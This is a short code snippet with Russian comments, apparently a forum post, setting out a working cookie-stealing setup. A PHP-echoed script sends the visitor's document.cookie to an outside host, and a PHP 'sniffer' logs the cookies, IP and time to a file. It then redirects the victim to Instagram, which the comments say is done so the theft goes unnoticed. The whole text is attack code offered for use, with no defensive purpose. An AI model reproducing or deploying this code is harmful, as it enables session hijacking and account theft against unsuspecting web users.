// Так вызываю жс код с пхп скрипта
echo '<script type="text/javascript"> window.location.href = "https://mysqlandroid-test.000webhostapp.com/next/index.php?cookie="+document.cookie; </script>';

// Сам скрипт
<?php
//получаем данные с ссылки
$cookie = $_SERVER['REQUEST_URI'];

//ip адрес
$ip = $_SERVER['REMOTE_ADDR'];

//Создаём файл
$file = fopen("snif.dat","a+");

//вычисляем текущее время
$time = date("H:i:M:d");

//добавляем в строковую переменную куки + время + ip
$add_text = "$ip $time $cookie";

//записываем данные в файл
fputs($file,$add_text.",\r\n");

//закрываем файл
fclose($file);

//что бы не спалили переносим пользователя обратно в инсту
header('Location:https://www.instagram.com');

?>